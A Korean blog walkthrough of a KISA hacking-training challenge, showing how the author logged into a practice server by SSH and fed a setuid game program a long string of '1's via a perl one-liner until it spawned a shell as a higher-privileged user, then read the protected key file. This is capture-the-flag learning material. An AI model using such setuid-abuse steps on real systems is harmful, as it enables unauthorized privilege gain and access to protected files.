KISA 해킹 방어 훈련장 문제에 대한 풀이입니다.
System Level2 문제를 보면 아래와 같습니다
문제 제목 : 확률 게임에서 이겨라!
문제 설명 : 확률 게임이 있다. 이 게임은 1에서
100중 숫자를 선택하여 컴퓨터가 선택한 값과 일치
해야 된다. 일치하면 잭팟이 터지고 SHELL을 획득
할 수 있다. 게임에서 이겨라!
접근 IP : 221.143.48.107
접근 PORT : 22
접근ID : system200
접근 PW : securitypractice
접근 포트가 22번 이므로 SSH로 접속해봅시다.
$ ssh system100@221.143.48.107
주어진 비밀번호를 입력하면 접속이 이루어집니다.
우선 현재 폴더에 어떤 파일들이 있는지 확인 해봅시다.
-bash-4.1$ ll
total 12
-r-sr-x---. 1 root200 system200 9424 Aug 7 00:35 system200
1번 문제와 매우 유사한 형식의 실행 파일인것을 알 수 있습니다.
우선 파일을 실행해 봅시다.
-bash-4.1$ ./system200
Probability Game ------------------------+
- Goal : JackPot!!!
- Menu Choice
(1) Game Start.
(2) User Name Change.
(3) Exit
-----------------------------------------+
INPUT - 1
-----------------------------------------------------------
-Game Method : If a number inputed from 1 to 100, print "JackPot"
-----------------------------------------------------------
Enter the Number ( 1~100 ) :1
Failed...
$ ./system200
Probability Game ------------------------+
- Goal : JackPot!!!
- Menu Choice
(1) Game Start.
(2) User Name Change.
(3) Exit
-----------------------------------------+
INPUT - 1
-----------------------------------------------------------
-Game Method : If a number inputed from 1 to 100, print "JackPot"
-----------------------------------------------------------
Enter the Number ( 1~100 ) :`perl -e 'print "1"x500'`
system200 프로그램에 '1'이란 값을 500개 입력 하라는 의미입니다.
숫자 1을 입력해서 잭팟을 시도합니다.
확률상 100번만 시도하면 성공 할 수 있겠죠? 물론, 운이 좋다면 더 빨리 성공 할 테구요.
한참을 시도한 끝에 숫자를 맞추게 되면 아래와 같은 메시지가 나오면서 종료됩니다.
INPUT - -----------------------------------------------------------
-Game Method : If a number inputed from 1 to 100, print "JackPot"
-----------------------------------------------------------
Enter the Number ( 1~100 ) :!Conguraturation !!!
권한을 확인해 봅시다.
sh-4.1$ id
uid=504(root200) gid=502(system200) groups=504(root200),502(system200) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
실제 화면을 보면 이렇습니다.
이제 1번 문제와 동일하게 key파일에 들어 있는 내용을 읽으면 끝!
$ cat /home/root200/key
문제 출제자의 의도대로 푼게 맞는지는 모르겠지만.. 어쨌든 잘 풀리니 더 고민하지 않기로 했습니다. ^^
'IT 생활 > 해킹' 카테고리의 다른 글
[해킹/문제풀이] KISA 해킹방어 Web Lv1 - 난독화된 Javascript 디코드 (8) | 2013.09.23 |
---|---|
파일 종류 별 매직 넘버 (magic number) (0) | 2013.09.16 |
[해킹/문제풀이] KISA 해킹방어 System Lv1 - 권한 획득 (2) | 2013.08.28 |
[해킹/문제풀이] Blind SQL Injection 공격으로 DB 정보 알아내기 - WOWHACKER level 9 (0) | 2013.07.05 |
[해킹/문제풀이] MySQL Injection 공격으로 DB 정보 알아내기 - WOWHACKER level7 (6) | 2013.06.14 |